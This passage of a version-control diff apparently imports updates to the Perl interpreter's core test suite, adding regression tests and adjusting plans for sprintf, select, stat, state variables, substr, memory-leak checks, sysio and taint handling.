+    $res = sprintf "%s \x{101} %s", $plain, $plain;
+    is $res, "abc \x{101} abc", "multiconcat p u p";
+
+    $res = sprintf "%s \x{101} %s", $plain, $utf8;
+    is $res, "abc \x{101} f\x{100}g", "multiconcat p u u";
+}
+
+# check /INTRO flag set correctly on multiconcat
+
+{
+    my $a = "a";
+    my $b = "b";
+    my $x;
+    {
+        $x = sprintf "-%s-%s-", $a, $b;
+    }
+    is $x, "-a-b-", "no INTRO flag on non-my";
+    for (1,2) {
+        my $y;
+        is $y, undef, "INTRO flag on my: $_";
+        $y = sprintf "-%s-%s-", $b, $a;
+        is $y, "-b-a-", "INTRO flag on my - result: $_";
+    }
+}
+
+# variant chars in constant format (not utf8, but change if upgraded)
+
+{
+    my $x = "\x{100}";
+    my $y = sprintf "%sa\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80", $x;
+    is $y, "\x{100}a\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80",
+        "\\x80 in format";
+}
+
+foreach(
+    0.0, -0.0,
+    4503599627370501, -4503599627370501,
+    4503599627370503, -4503599627370503,
+) {
+    is sprintf("%.0f", $_), sprintf("%-.0f", $_), "special-case %.0f on $_";
+}
+
 done_testing();

Modified: vendor/perl/dist/t/op/sselect.t
===================================================================
--- vendor/perl/dist/t/op/sselect.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/sselect.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,7 @@
 #!./perl
 
+# Four-argument select
+
 my $hires;
 BEGIN {
     chdir 't' if -d 't';
@@ -11,7 +13,7 @@
 skip_all("Win32 miniperl has no socket select")
   if $^O eq "MSWin32" && is_miniperl();
 
-plan (15);
+plan (16);
 
 my $blank = "";
 eval {select undef, $blank, $blank, 0};
@@ -93,3 +95,12 @@
     select (undef, undef, undef, $sleep);
     ::is($count, 1, 'RT120102');
 }
+
+package _131645{
+    sub TIESCALAR { bless [] }
+    sub FETCH     { 0        }
+    sub STORE     {          }
+}
+tie $tie, _131645::;
+select ($tie, undef, undef, $tie);
+ok("no crash from select $numeric_tie, undef, undef, $numeric_tie")

Modified: vendor/perl/dist/t/op/stash.t
===================================================================
--- vendor/perl/dist/t/op/stash.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/stash.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -179,7 +179,7 @@
 	package FOO3;
 	sub named {};
 	my $anon = sub {};
-	my $named = eval q[\&named];
+	my $named = eval q[*named{CODE}]; # not \&named; we want a real GV
 	package main;
 	delete $FOO3::{named}; # make named anonymous
 

Added: vendor/perl/dist/t/op/stash_parse_gv.t
===================================================================
--- vendor/perl/dist/t/op/stash_parse_gv.t	                        (rev 0)
+++ vendor/perl/dist/t/op/stash_parse_gv.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,31 @@
+#!./perl
+
+BEGIN {
+    chdir 't' if -d 't';
+    require "./test.pl";
+    set_up_inc(qw(../lib));
+}
+
+plan( tests => 5 );
+
+my $long  = 'x' x 100;
+my $short = 'abcd';
+
+my @tests = (
+    [ $long, 'long package name: one word' ],
+    [ join( '::', $long, $long ), 'long package name: multiple words' ],
+    [ join( q['], $long, $long ), q[long package name: multiple words using "'" separator] ],
+    [ join( '::', $long, $short, $long ), 'long & short package name: multiple words' ],
+    [ join( q['], $long, $short, $long ), q[long & short package name: multiple words using "'" separator] ],
+);
+
+foreach my $t (@tests) {
+    my ( $sub, $name ) = @$t;
+
+    fresh_perl_is(
+        qq[sub $sub { print qq[ok\n]} &{"$sub"} ],
+        q[ok],
+        { switches => ['-w'] },
+        $name
+    );
+}

Modified: vendor/perl/dist/t/op/stat.t
===================================================================
--- vendor/perl/dist/t/op/stat.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/stat.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,6 +6,8 @@
     set_up_inc('../lib');
 }
 
+use strict;
+use warnings;
 use Config;
 
 my ($Null, $Curdir);
@@ -25,7 +27,7 @@
     ${^WIN32_SLOPPY_STAT} = 0;
 }
 
-plan tests => 118;
+plan tests => 110;
 
 my $Perl = which_perl();
 
@@ -32,22 +34,22 @@
 $ENV{LC_ALL}   = 'C';		# Forge English error messages.
 $ENV{LANGUAGE} = 'C';		# Ditto in GNU.
 
-$Is_Amiga   = $^O eq 'amigaos';
-$Is_Cygwin  = $^O eq 'cygwin';
-$Is_Darwin  = $^O eq 'darwin';
-$Is_Dos     = $^O eq 'dos';
-$Is_MSWin32 = $^O eq 'MSWin32';
-$Is_NetWare = $^O eq 'NetWare';
-$Is_OS2     = $^O eq 'os2';
-$Is_Solaris = $^O eq 'solaris';
-$Is_VMS     = $^O eq 'VMS';
-$Is_MPRAS   = $^O =~ /svr4/ && -f '/etc/.relid';
-$Is_Android = $^O =~ /android/;
-$Is_Dfly    = $^O eq 'dragonfly';
+my $Is_Amiga   = $^O eq 'amigaos';
+my $Is_Cygwin  = $^O eq 'cygwin';
+my $Is_Darwin  = $^O eq 'darwin';
+my $Is_Dos     = $^O eq 'dos';
+my $Is_MSWin32 = $^O eq 'MSWin32';
+my $Is_NetWare = $^O eq 'NetWare';
+my $Is_OS2     = $^O eq 'os2';
+my $Is_Solaris = $^O eq 'solaris';
+my $Is_VMS     = $^O eq 'VMS';
+my $Is_MPRAS   = $^O =~ /svr4/ && -f '/etc/.relid';
+my $Is_Android = $^O =~ /android/;
+my $Is_Dfly    = $^O eq 'dragonfly';
 
-$Is_Dosish  = $Is_Dos || $Is_OS2 || $Is_MSWin32 || $Is_NetWare;
+my $Is_Dosish  = $Is_Dos || $Is_OS2 || $Is_MSWin32 || $Is_NetWare;
 
-$ufs_no_ctime = ($Is_Dfly || $Is_Darwin) && (() = `df -t ufs . 2>/dev/null`) == 2;
+my $ufs_no_ctime = ($Is_Dfly || $Is_Darwin) && (() = `df -t ufs . 2>/dev/null`) == 2;
 
 if ($Is_Cygwin && !is_miniperl) {
   require Win32;
@@ -371,7 +373,7 @@
     ok(! -t TTY,    '!-t on closed TTY filehandle');
 
     {
-        local $TODO = 'STDIN not a tty when output is to pipe' if $Is_VMS;
+        local our $TODO = 'STDIN not a tty when output is to pipe' if $Is_VMS;
         ok(-t,          '-t on STDIN');
     }
 }
@@ -480,6 +482,7 @@
     open(FOO, ">$tmpfile") || DIE("Can't open temp test file: $!");
     my @statbuf = stat FOO;
     stat "test.pl";
+    no warnings 'io';
     my @lstatbuf = lstat *FOO{IO};
     is "@lstatbuf", "@statbuf", 'lstat $ioref reverts to regular fstat';
     close(FOO);
@@ -556,25 +559,12 @@
 }
 
 SKIP: {
-    skip "No dirfd()", 9 unless $Config{d_dirfd} || $Config{d_dir_dd_fd};
+    skip "No dirfd()", 4 unless $Config{d_dirfd} || $Config{d_dir_dd_fd};
     ok(opendir(DIR, "."), 'Can open "." dir') || diag "Can't open '.':  $!";
     ok(stat(DIR), "stat() on dirhandle works"); 
     ok(-d -r _ , "chained -x's on dirhandle"); 
     ok(-d DIR, "-d on a dirhandle works");
-
-    # And now for the ambiguous bareword case
-    {
-	no warnings 'deprecated';
-	ok(open(DIR, "TEST"), 'Can open "TEST" dir')
-	    || diag "Can't open 'TEST':  $!";
-    }
-    my $size = (stat(DIR))[7];
-    ok(defined $size, "stat() on bareword works");
-    is($size, -s "TEST", "size returned by stat of bareword is for the file");
-    ok(-f _, "ambiguous bareword uses file handle, not dir handle");
-    ok(-f DIR);
     closedir DIR or die $!;
-    close DIR or die $!;
 }
 
 {
@@ -589,32 +579,17 @@
     #PVIO's hold dirhandle information, so let's test them too.
 
     SKIP: {
-        skip "No dirfd()", 9 unless $Config{d_dirfd} || $Config{d_dir_dd_fd};
+        skip "No dirfd()", 4 unless $Config{d_dirfd} || $Config{d_dir_dd_fd};
         ok(opendir(DIR, "."), 'Can open "." dir') || diag "Can't open '.':  $!";
         ok(stat(*DIR{IO}), "stat() on *DIR{IO} works");
 	ok(-d _ , "The special file handle _ is set correctly"); 
         ok(-d -r *DIR{IO} , "chained -x's on *DIR{IO}");
-
-	# And now for the ambiguous bareword case
-	{
-	    no warnings 'deprecated';
-	    ok(open(DIR, "TEST"), 'Can open "TEST" dir')
-		|| diag "Can't open 'TEST':  $!";
-	}
-	my $size = (stat(*DIR{IO}))[7];
-	ok(defined $size, "stat() on *THINGY{IO} works");
-	is($size, -s "TEST",
-	   "size returned by stat of *THINGY{IO} is for the file");
-	ok(-f _, "ambiguous *THINGY{IO} uses file handle, not dir handle");
-	ok(-f *DIR{IO});
 	closedir DIR or die $!;
-	close DIR or die $!;
     }
 }
 
 # [perl #71002]
 {
-    local $^W = 1;
     my $w;
     local $SIG{__WARN__} = sub { warn shift; ++$w };
     stat 'prepeinamehyparcheiarcheiometoonomaavto';
@@ -644,6 +619,7 @@
 
     my $Errno_loaded = eval { require Errno };
     my @statarg = ($statfile, $statfile);
+    no warnings 'syntax';
     ok !stat(@statarg),
     'stat on an array of valid paths should warn and should not return any data';
     my $error = 0+$!;
@@ -653,6 +629,20 @@
       'stat on an array of valid paths should return ENOENT';
 }
 
+# [perl #131895] stat() doesn't fail on filenames containing \0 / NUL
+{
+    no warnings 'syscalls';
+    ok !stat("TEST\0-"), 'stat on filename with \0';
+}
+SKIP: {
+    my $link = "stat_t_$$\_TEST.symlink";
+    my $can_symlink = eval { symlink "TEST", $link };
+    skip "cannot symlink", 1 unless $can_symlink;
+    no warnings 'syscalls';
+    ok !lstat("$link\0-"), 'lstat on filename with \0';
+    unlink $link;
+}
+
 END {
     chmod 0666, $tmpfile;
     unlink_all $tmpfile;

Added: vendor/perl/dist/t/op/stat_errors.t
===================================================================
--- vendor/perl/dist/t/op/stat_errors.t	                        (rev 0)
+++ vendor/perl/dist/t/op/stat_errors.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,58 @@
+#!./perl
+
+BEGIN {
+    chdir 't' if -d 't';
+    require './test.pl';
+    set_up_inc('../lib');
+    skip_all_if_miniperl("miniperl can't load PerlIO::scalar");
+}
+
+plan(tests => 2*11*29);
+
+use Errno qw(EBADF ENOENT);
+
+open(SCALARFILE, "<", \"wibble") or die $!; # needs PerlIO::scalar
+open(CLOSEDFILE, "<", "./test.pl") or die $!;
+close(CLOSEDFILE) or die $!;
+opendir(CLOSEDDIR, "../lib") or die $!;
+closedir(CLOSEDDIR) or die $!;
+
+foreach my $op (
+    qw(stat lstat),
+    (map { "-$_" } qw(r w x o R W X O e z s f d l p S b c t u g k T B M A C)),
+) {
+    foreach my $arg (
+	(map { ($_, "\\*$_") }
+	    qw(NEVEROPENED SCALARFILE CLOSEDFILE CLOSEDDIR _)),
+	"\"tmpnotexist\"",
+    ) {
+	my $argdesc = $arg;
+	if ($arg eq "_") {
+	    my @z = lstat "tmpnotexist";
+	    $argdesc .= " with prior stat fail";
+	}
+	SKIP: {
+	    if ($op eq "-l" && $arg =~ /\A\\/) {
+		# The op weirdly stringifies the globref and uses it as
+		# a filename, rather than treating it as a file handle.
+		# That might be a bug, but while that behaviour exists it
+		# needs to be exempted from these tests.
+		skip "-l on globref", 2;
+	    }
+	    if ($op eq "-t" && $arg eq "\"tmpnotexist\"") {
+		# The op doesn't operate on filenames.
+		skip "-t on filename", 2;
+	    }
+	    $! = 0;
+	    my $res = eval "$op $arg";
+	    my $err = $!;
+	    is $res, $op =~ /\A-/ ? undef : !!0, "result of $op $arg";
+	    is 0+$err,
+		$arg eq "\"tmpnotexist\"" ||
+		    ($op =~ /\A-[TB]\z/ && $arg =~ /_\z/) ? ENOENT : EBADF,
+		"error from $op $arg";
+	}
+    }
+}
+
+1;

Modified: vendor/perl/dist/t/op/state.t
===================================================================
--- vendor/perl/dist/t/op/state.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/state.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -9,7 +9,7 @@
 
 use strict;
 
-plan tests => 124;
+plan tests => 164;
 
 # Before loading feature.pm, test it with CORE::
 ok eval 'CORE::state $x = 1;', 'CORE::state outside of feature.pm scope';
@@ -135,6 +135,16 @@
 $xsize = stateful_array();
 is( $xsize, 1, 'uninitialized state array after one iteration' );
 
+sub stateful_init_array {
+    state @x = qw(a b c);
+    push @x, "x";
+    return join(",", @x);
+}
+
+is stateful_init_array(), "a,b,c,x";
+is stateful_init_array(), "a,b,c,x,x";
+is stateful_init_array(), "a,b,c,x,x,x";
+
 # hash state vars
 
 sub stateful_hash {
@@ -148,6 +158,46 @@
 $xhval = stateful_hash();
 is( $xhval, 1, 'uninitialized state hash after one iteration' );
 
+sub stateful_init_hash {
+    state %x = qw(a b c d);
+    $x{foo}++;
+    return join(",", map { ($_, $x{$_}) } sort keys %x);
+}
+
+is stateful_init_hash(), "a,b,c,d,foo,1";
+is stateful_init_hash(), "a,b,c,d,foo,2";
+is stateful_init_hash(), "a,b,c,d,foo,3";
+
+# declarations with attributes
+
+SKIP: {
+skip "no attributes in miniperl", 3, if is_miniperl;
+
+eval q{
+sub stateful_attr {
+    state $a :shared;
+    state $b :shared = 3;
+    state @c :shared;
+    state @d :shared = qw(a b c);
+    state %e :shared;
+    state %f :shared = qw(a b c d);
+    $a++;
+    $b++;
+    push @c, "x";
+    push @d, "x";
+    $e{e}++;
+    $f{e}++;
+    return join(",", $a, $b, join(":", @c), join(":", @d), join(":", %e),
+	    join(":", map { ($_, $f{$_}) } sort keys %f));
+}
+};
+
+is stateful_attr(), "1,4,x,a:b:c:x,e:1,a:b:c:d:e:1";
+is stateful_attr(), "2,5,x:x,a:b:c:x:x,e:2,a:b:c:d:e:2";
+is stateful_attr(), "3,6,x:x:x,a:b:c:x:x:x,e:3,a:b:c:d:e:3";
+}
+
+
 # Recursion
 
 sub noseworth {
@@ -341,10 +391,17 @@
 
 
 foreach my $forbidden (<DATA>) {
-    chomp $forbidden;
-    no strict 'vars';
-    eval $forbidden;
-    like $@, qr/Initialization of state variables in list context currently forbidden/, "Currently forbidden: $forbidden";
+    SKIP: {
+        skip_if_miniperl("miniperl can't load attributes.pm", 1)
+                if $forbidden =~ /:shared/;
+
+        chomp $forbidden;
+        no strict 'vars';
+        eval $forbidden;
+        like $@,
+            qr/Initialization of state variables in list currently forbidden/,
+            "Currently forbidden: $forbidden";
+    }
 }
 
 # [perl #49522] state variable not available
@@ -439,17 +496,53 @@
 }
 ok(rt_123029(), "state variables don't surprisingly disappear when accessed");
 
+# make sure multiconcat doesn't break state
+
+for (1,2) {
+    state $s = "-$_-";
+    is($s, "-1-", "state with multiconcat pass $_");
+}
+
 __DATA__
+(state $a) = 1;
+(state @a) = 1;
+(state @a :shared) = 1;
+(state %a) = ();
+(state %a :shared) = ();
 state ($a) = 1;
-(state $a) = 1;
-state @a = 1;
+(state ($a)) = 1;
 state (@a) = 1;
-(state @a) = 1;
-state %a = ();
+(state (@a)) = 1;
+state (@a) :shared = 1;
+(state (@a) :shared) = 1;
 state (%a) = ();
-(state %a) = ();
+(state (%a)) = ();
+state (%a) :shared = ();
+(state (%a) :shared) = ();
+state (undef, $a) = ();
+(state (undef, $a)) = ();
+state (undef, @a) = ();
+(state (undef, @a)) = ();
+state ($a, undef) = ();
+(state ($a, undef)) = ();
 state ($a, $b) = ();
+(state ($a, $b)) = ();
+state ($a, $b) :shared = ();
+(state ($a, $b) :shared) = ();
 state ($a, @b) = ();
+(state ($a, @b)) = ();
+state ($a, @b) :shared = ();
+(state ($a, @b) :shared) = ();
+state (@a, undef) = ();
+(state (@a, undef)) = ();
+state (@a, $b) = ();
+(state (@a, $b)) = ();
+state (@a, $b) :shared = ();
+(state (@a, $b) :shared) = ();
+state (@a, @b) = ();
+(state (@a, @b)) = ();
+state (@a, @b) :shared = ();
+(state (@a, @b) :shared) = ();
 (state $a, state $b) = ();
 (state $a, $b) = ();
 (state $a, my $b) = ();

Modified: vendor/perl/dist/t/op/study.t
===================================================================
--- vendor/perl/dist/t/op/study.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/study.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -9,12 +9,11 @@
 watchdog(10);
 plan(tests => 43);
 use strict;
-use vars '$x';
 
 use Config;
 my $have_alarm = $Config{d_alarm};
 
-$x = "abc\ndef\n";
+our $x = "abc\ndef\n";
 study($x);
 
 ok($x =~ /^abc/);

Modified: vendor/perl/dist/t/op/sub.t
===================================================================
--- vendor/perl/dist/t/op/sub.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/sub.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,7 +6,7 @@
     set_up_inc('../lib');
 }
 
-plan(tests => 65);
+plan(tests => 62);
 
 sub empty_sub {}
 
@@ -17,30 +17,6 @@
 @test = empty_sub(1,2,3);
 is(scalar(@test), 0, 'Didnt return anything');
 
-# RT #63790:  calling PL_sv_yes as a sub is special-cased to silently
-# return (so Foo->import() silently fails if import() doesn't exist),
-# But make sure it correctly pops the stack and mark stack before returning.
-
-{
-    my @a;
-    push @a, 4, 5, main->import(6,7);
-    ok(eq_array(\@a, [4,5]), "import with args");
-
-    @a = ();
-    push @a, 14, 15, main->import;
-    ok(eq_array(\@a, [14,15]), "import without args");
-
-    my $x = 1;
-
-    @a = ();
-    push @a, 24, 25, &{$x == $x}(26,27);
-    ok(eq_array(\@a, [24,25]), "yes with args");
-
-    @a = ();
-    push @a, 34, 35, &{$x == $x};
-    ok(eq_array(\@a, [34,35]), "yes without args");
-}
-
 # [perl #91844] return should always copy
 {
     $foo{bar} = 7;
@@ -423,10 +399,20 @@
     sub foo { 42 }
 }
 {
-    local $TODO = "CV symbol table optimization only works in main:: [perl #129916]";
+    local $::TODO = "disabled for now";
     is ref($RT129916::{foo}), 'CODE', 'simple sub stored as CV in stash (non-main::)';
 }
 
+# Calling xsub via ampersand syntax when @_ has holes
+SKIP: {
+    skip "no XS::APItest on miniperl" if is_miniperl;
+    require XS::APItest;
+    local *_;
+    $_[1] = 1;
+    &XS::APItest::unshift_and_set_defav;
+    is "@_", "42 43 1"
+}
+
 # [perl #129090] Crashes and hangs
 watchdog 10;
 { no warnings;

Modified: vendor/perl/dist/t/op/sub_lval.t
===================================================================
--- vendor/perl/dist/t/op/sub_lval.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/sub_lval.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -557,7 +557,7 @@
     sub keeze : lvalue { keys %__ }
     %__ = ("a","b");
     keeze = 64;
-    is Hash::Util::bucket_ratio(%__), '1/64', 'keys assignment through lvalue sub';
+    like Hash::Util::bucket_ratio(%__), qr!1/(?:64|128)!, 'keys assignment through lvalue sub';
     eval { (keeze) = 64 };
     like $@, qr/^Can't modify keys in list assignment at /,
          'list assignment to keys through lv sub is forbidden';

Modified: vendor/perl/dist/t/op/substr.t
===================================================================
--- vendor/perl/dist/t/op/substr.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/substr.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -22,7 +22,7 @@
      }
 };
 
-plan(393);
+plan(400);
 
 run_tests() unless caller;
 
@@ -711,14 +711,6 @@
 
 }
 
-# [perl #23765]
-{
-    my $a = pack("C", 0xbf);
-    no warnings 'deprecated';
-    substr($a, -1) &= chr(0xfeff);
-    is($a, "\xbf");
-}
-
 # [perl #34976] incorrect caching of utf8 substr length
 {
     my  $a = "abcd\x{100}";
@@ -891,4 +883,39 @@
     is $x, "\x{100}zzzz", "RT#130624: heap-use-after-free in 4-arg substr (targ)";
 }
 
+{
+    our @ta;
+    $#ta = -1;
+    substr($#ta, 0, 2) = 23;
+    is $#ta, 23;
+    $#ta = -1;
+    substr($#ta, 0, 2) =~ s/\A..\z/23/s;
+    is $#ta, 23;
+    $#ta = -1;
+    substr($#ta, 0, 2, 23);
+    is $#ta, 23;
+    sub ta_tindex :lvalue { $#ta }
+    $#ta = -1;
+    ta_tindex() = 23;
+    is $#ta, 23;
+    $#ta = -1;
+    substr(ta_tindex(), 0, 2) = 23;
+    is $#ta, 23;
+    $#ta = -1;
+    substr(ta_tindex(), 0, 2) =~ s/\A..\z/23/s;
+    is $#ta, 23;
+    $#ta = -1;
+    substr(ta_tindex(), 0, 2, 23);
+    is $#ta, 23;
+}
 
+{ # [perl #132527]
+    use feature 'refaliasing';
+    no warnings 'experimental::refaliasing';
+    my %h;
+    \$h{foo} = \(my $bar = "baz");
+    substr delete $h{foo}, 1, 1, o=>;
+    is $bar, boz => 'first arg to 4-arg substr is loose lvalue context';
+}
+
+1;

Modified: vendor/perl/dist/t/op/svleak.t
===================================================================
--- vendor/perl/dist/t/op/svleak.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/svleak.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -15,7 +15,7 @@
 
 use Config;
 
-plan tests => 141;
+plan tests => 149;
 
 # run some code N times. If the number of SVs at the end of loop N is
 # greater than (N-1)*delta at the end of loop 1, we've got a leak
@@ -214,6 +214,14 @@
 
 }
 
+# Map plus sparse array
+{
+    my @a;
+    $a[10] = 10;
+    leak(3, 0, sub { my @b = map 1, @a },
+     'map reading from sparse array');
+}
+
 SKIP:
 { # broken by 304474c3, fixed by cefd5c7c, but didn't seem to cause
   # any other test failures
@@ -318,6 +326,10 @@
     bless \&recredef, "Recursive::Redefinition"; eval "sub recredef{}"
 }, 'recursive sub redefinition');
 
+# Sub calls
+leak(2, 0, sub { local *_; $_[1]=1; &re::regname },
+    'passing sparse array to xsub via ampersand call');
+
 # Syntax errors
 eleak(2, 0, '"${<<END}"
                  ', 'unterminated here-doc in quotes in multiline eval');
@@ -593,3 +605,23 @@
     }
     ::leak(2, 0, \&named, "Perl_reg_named_buff_fetch() on no-name RE");
 }
+
+{
+    sub N_leak { eval 'tr//\N{}-0/' }
+    ::leak(2, 0, \&N_leak, "a bad \\N{} in a range leaks");
+}
+
+leak 2,0,\&XS::APItest::PerlIO_stderr,'T_INOUT in default typemap';
+leak 2,0,\&XS::APItest::PerlIO_stdin, 'T_IN in default typemap';
+leak 2,0,\&XS::APItest::PerlIO_stdout,'T_OUT in default typemap';
+SKIP: {
+ skip "for now; crashes";
+ leak 2,1,sub{XS::APItest::PerlIO_exportFILE(*STDIN,"");0},
+                                      'T_STDIO in default typemap';
+}
+
+{
+    my %rh= ( qr/^foo/ => 1);
+    sub Regex_Key_Leak { my ($r)= keys %rh; "foo"=~$r; }
+    leak 2, 0, \&Regex_Key_Leak,"RT #132892 - regex patterns should not leak";
+}

Modified: vendor/perl/dist/t/op/switch.t
===================================================================
--- vendor/perl/dist/t/op/switch.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/switch.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -10,7 +10,7 @@
 use warnings;
 no warnings 'experimental::smartmatch';
 
-plan tests => 193;
+plan tests => 195;
 
 # The behaviour of the feature pragma should be tested by lib/feature.t
 # using the tests in t/lib/feature/*. This file tests the behaviour of
@@ -1348,6 +1348,15 @@
     is($i, 111, 'when in for @a');
 }
 
+given("xyz") {
+    no warnings "void";
+    my @a = (qw(a b c), do { when(/abc/) { qw(x y) } }, qw(d e f));
+    is join(",", map { $_ // "u" } @a), "a,b,c,d,e,f",
+	"list value of false when";
+    @a = (qw(a b c), scalar do { when(/abc/) { qw(x y) } }, qw(d e f));
+    is join(",", map { $_ // "u" } @a), "a,b,c,u,d,e,f",
+	"scalar value of false when";
+}
 
 # Okay, that'll do for now. The intricacies of the smartmatch
 # semantics are tested in t/op/smartmatch.t. Taintedness of

Modified: vendor/perl/dist/t/op/sysio.t
===================================================================
--- vendor/perl/dist/t/op/sysio.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/sysio.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -9,6 +9,7 @@
 plan tests => 48;
 
 open(I, 'op/sysio.t') || die "sysio.t: cannot find myself: $!";
+binmode I;
 
 $reopen = ($^O eq 'VMS' ||
            $^O eq 'os2' ||
@@ -55,6 +56,7 @@
 $outfile = tempfile();
 
 open(O, ">$outfile") || die "sysio.t: cannot write $outfile: $!";
+binmode O;
 
 select(O); $|=1; select(STDOUT);
 
@@ -82,6 +84,7 @@
 # $outfile still intact
 if ($reopen) {  # must close file to update EOF marker for stat
   close O; open(O, ">>$outfile") || die "sysio.t: cannot write $outfile: $!";
+  binmode O;
 }
 ok(!-s $outfile);
 
@@ -96,6 +99,7 @@
 # $outfile still intact
 if ($reopen) {  # must close file to update EOF marker for stat
   close O; open(O, ">>$outfile") || die "sysio.t: cannot write $outfile: $!";
+  binmode O;
 }
 ok(!-s $outfile);
 
@@ -109,6 +113,7 @@
 # $outfile still intact
 if ($reopen) {  # must close file to update EOF marker for stat
   close O; open(O, ">>$outfile") || die "sysio.t: cannot write $outfile: $!";
+  binmode O;
 }
 ok(!-s $outfile);
 
@@ -121,6 +126,7 @@
 # $outfile still intact
 if ($reopen) {  # must close file to update EOF marker for stat
   close O; open(O, ">>$outfile") || die "sysio.t: cannot write $outfile: $!";
+  binmode O;
 }
 ok(!-s $outfile);
 
@@ -141,6 +147,7 @@
 # $outfile should have grown now
 if ($reopen) {  # must close file to update EOF marker for stat
   close O; open(O, ">>$outfile") || die "sysio.t: cannot write $outfile: $!";
+  binmode O;
 }
 is(-s $outfile, 2);
 
@@ -153,6 +160,7 @@
 # $outfile should have grown now
 if ($reopen) {  # must close file to update EOF marker for stat
   close O; open(O, ">>$outfile") || die "sysio.t: cannot write $outfile: $!";
+  binmode O;
 }
 is(-s $outfile, 4);
 
@@ -165,6 +173,7 @@
 # $outfile should have grown now
 if ($reopen) {  # must close file to update EOF marker for stat
   close O; open(O, ">>$outfile") || die "sysio.t: cannot write $outfile: $!";
+  binmode O;
 }
 is(-s $outfile, 7);
 
@@ -177,6 +186,7 @@
 # $outfile should have grown now
 if ($reopen) {  # must close file to update EOF marker for stat
   close O; open(O, ">>$outfile") || die "sysio.t: cannot write $outfile: $!";
+  binmode O;
 }
 is(-s $outfile, 10);
 
@@ -183,6 +193,7 @@
 close(O);
 
 open(I, $outfile) || die "sysio.t: cannot read $outfile: $!";
+binmode I;
 
 $b = 'xyz';
 
@@ -211,26 +222,29 @@
 unlink_all $outfile;
 
 # Check that utf8 IO doesn't upgrade the scalar
-open(I, ">$outfile") || die "sysio.t: cannot write $outfile: $!";
-# Will skip harmlessly on stdioperl
-eval {binmode STDOUT, ":utf8"};
-die $@ if $@ and $@ !~ /^IO layers \(like ':utf8'\) unavailable/;
+{
+    no warnings 'deprecated';
+    open(I, ">$outfile") || die "sysio.t: cannot write $outfile: $!";
+    # Will skip harmlessly on stdioperl
+    eval {binmode STDOUT, ":utf8"};
+    die $@ if $@ and $@ !~ /^IO layers \(like ':utf8'\) unavailable/;
 
-# y diaresis is \w when UTF8
-$a = chr 255;
+    # y diaresis is \w when UTF8
+    $a = chr 255;
 
-unlike($a, qr/\w/);
+    unlike($a, qr/\w/);
 
-syswrite I, $a;
+    syswrite I, $a;
 
-# Should not be upgraded as a side effect of syswrite.
-unlike($a, qr/\w/);
+    # Should not be upgraded as a side effect of syswrite.
+    unlike($a, qr/\w/);
 
-# This should work
-eval {syswrite I, 2;};
-is($@, '');
+    # This should work
+    eval {syswrite I, 2;};
+    is($@, '');
 
-close(I);
+    close(I);
+}
 unlink_all $outfile;
 
 chdir('..');

Modified: vendor/perl/dist/t/op/taint.t
===================================================================
--- vendor/perl/dist/t/op/taint.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/taint.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -17,11 +17,11 @@
 use strict;
 use Config;
 
-plan tests => 828;
+plan tests => 1041;
 
 $| = 1;
 
-use vars qw($ipcsysv); # did we manage to load IPC::SysV?
+my $ipcsysv; # did we manage to load IPC::SysV?
 
 my ($old_env_path, $old_env_dcl_path, $old_env_term);
 BEGIN {
@@ -83,6 +83,8 @@
 # Sources of taint:
 #   The empty tainted value, for tainting strings
 my $TAINT = substr($^X, 0, 0);
+#   A tainted non-empty string
+my $TAINTXYZ = "xyz".$TAINT;
 #   A tainted zero, useful for tainting numbers
 my $TAINT0;
 {
@@ -123,7 +125,7 @@
 }
 
 # We need an external program to call.
-my $ECHO = ($Is_MSWin32 ? ".\\echo$$" : ($Is_NetWare ? "echo$$" : "./echo$$"));
+my $ECHO = ($Is_MSWin32 ? ".\\tmpecho$$" : ($Is_NetWare ? "tmpecho$$" : "./tmpecho$$"));
 END { unlink $ECHO }
 open my $fh, '>', $ECHO or die "Can't create $ECHO: $!";
 print $fh 'print "@ARGV\n"', "\n";
@@ -565,7 +567,7 @@
         is($one, 'abcd',   "$desc: \$1 value");
     }
 
-    $desc = "substitution with replacement tainted";
+    $desc = "substitution with partial replacement tainted";
 
     $s = 'abcd';
     $res = $s =~ s/(.+)/xyz$TAINT/;
@@ -577,7 +579,7 @@
     is($res, 1,        "$desc: res value");
     is($one, 'abcd',   "$desc: \$1 value");
 
-    $desc = "substitution /g with replacement tainted";
+    $desc = "substitution /g with partial replacement tainted";
 
     $s = 'abcd';
     $res = $s =~ s/(.)/x$TAINT/g;
@@ -589,7 +591,7 @@
     is($res, 4,        "$desc: res value");
     is($one, 'd',      "$desc: \$1 value");
 
-    $desc = "substitution /ge with replacement tainted";
+    $desc = "substitution /ge with partial replacement tainted";
 
     $s = 'abc';
     {
@@ -618,7 +620,7 @@
     is($res, 3,        "$desc: res value");
